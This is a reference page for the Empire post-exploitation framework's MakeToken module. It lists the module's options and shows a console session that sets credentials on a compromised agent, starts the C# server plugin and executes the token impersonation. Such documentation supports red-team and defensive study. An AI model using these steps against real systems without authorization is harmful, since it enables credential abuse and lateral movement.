MakeToken - Empire Module


This page contains detailed information about how to use the csharp/Sharpsploit.Credentials/MakeToken Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview


Name: MakeToken
Module: csharp/Sharpsploit.Credentials/MakeToken
Source code: empire/server/modules/csharp/Sharpsploit.Credentials.Covenant.yaml#L1
Language: C#
Needs admin: No
OPSEC safe: No
Background: No

The MakeToken module makes a new token with a specified username and password, and impersonates it to conduct future actions as the specified user.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the MakeToken module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options


This is a list of options that are required by the MakeToken module:

Agent
Agent to run module on.

Domain
Domain to authenticate the user to.
Default value: DOMAIN.

DotNetVersion
.NET version to compile against.
Default value: Net35.
Suggested values: Net35, Net40.

Password
Password to authenticate the user.
Default value: Password123.

Username
Username to authenticate as.
Default value: username1.

Additional Module Options


This is a list of additional options that are supported by the MakeToken module:

LogonType
LogonType to use. Defaults to LOGON32_LOGON_NEW_CREDENTIALS, which is suitable to perform actions that require remote authentication. LOGON32_LOGON_INTERACTIVE is suitable for local actions.
Default value: LOGON32_LOGON_NEW_CREDENTIALS.

MakeToken Example Usage


Here's an example of how to use the MakeToken module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule csharp/Sharpsploit.Credentials/MakeToken

 Author       cobbr_io                                                         
 Background   False                                                            
 Description  Makes a new token with a specified username and password, and    
              impersonates it to conduct future actions as the specified user. 
 Language     csharp                                                           
 Name         csharp/Sharpsploit.Credentials/MakeToken                         
 NeedsAdmin   False                                                            
 OpsecSafe    False                                                            


,Record Options-,-------------------------------,----------,-------------------------------------,
| Name          | Value                         | Required | Description                         |
|---------------|-------------------------------|----------|-------------------------------------|
| Agent         |                               | True     | Agent to run module on.             |
|---------------|-------------------------------|----------|-------------------------------------|
| Domain        | DOMAIN                        | True     | Domain to authenticate the user to. |
|---------------|-------------------------------|----------|-------------------------------------|
| DotNetVersion | Net35                         | True     | .NET version to compile against     |
|---------------|-------------------------------|----------|-------------------------------------|
| LogonType     | LOGON32_LOGON_NEW_CREDENTIALS | False    | LogonType to use. Defaults to       |
|               |                               |          | LOGON32_LOGON_NEW_CREDENTIALS,      |
|               |                               |          | which is suitable to perform        |
|               |                               |          | actions that require remote         |
|               |                               |          | authentication.                     |
|               |                               |          | LOGON32_LOGON_INTERACTIVE is        |
|               |                               |          | suitable for local actions.         |
|---------------|-------------------------------|----------|-------------------------------------|
| Password      | Password123                   | True     | Password to authenticate the user.  |
|---------------|-------------------------------|----------|-------------------------------------|
| Username      | username1                     | True     | Username to authenticate as.        |
'---------------'-------------------------------'----------'-------------------------------------'

(Empire: usemodule/csharp/Sharpsploit.Credentials/MakeToken) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/csharp/Sharpsploit.Credentials/MakeToken) > set Domain DOMAIN
[*] Set Domain to DOMAIN
(Empire: usemodule/csharp/Sharpsploit.Credentials/MakeToken) > set DotNetVersion Net35
[*] Set DotNetVersion to Net35
(Empire: usemodule/csharp/Sharpsploit.Credentials/MakeToken) > set Password Password123
[*] Set Password to Password123
(Empire: usemodule/csharp/Sharpsploit.Credentials/MakeToken) > set Username username1
[*] Set Username to username1
(Empire: usemodule/csharp/Sharpsploit.Credentials/MakeToken) > execute
[!] Error: csharpserver plugin not running

Note: This module requires csharpserver plugin to be running on our system. If this plugin is not running, the error message "[!] Error: csharp server plugin not running" is thrown on the console. To fix the error, start the csharpserver plugin and re-run the module:

(Empire: usemodule/csharp/Sharpsploit.Credentials/MakeToken) > useplugin csharpserver

,Record Options--,----------,----------------------------------,
| Name   | Value | Required | Description                      |
|--------|-------|----------|----------------------------------|
| status | start | True     | Start/stop the Empire C# server. |
'--------'-------'----------'----------------------------------'

(Empire: useplugin/csharpserver) > execute
[*] Starting Empire C# server
(Empire: useplugin/csharpserver) > back
(Empire: usemodule/csharp/Sharpsploit.Credentials/MakeToken) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Author


  • cobbr_io

References


See Also


Check also the following modules related to this module:

Version


This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.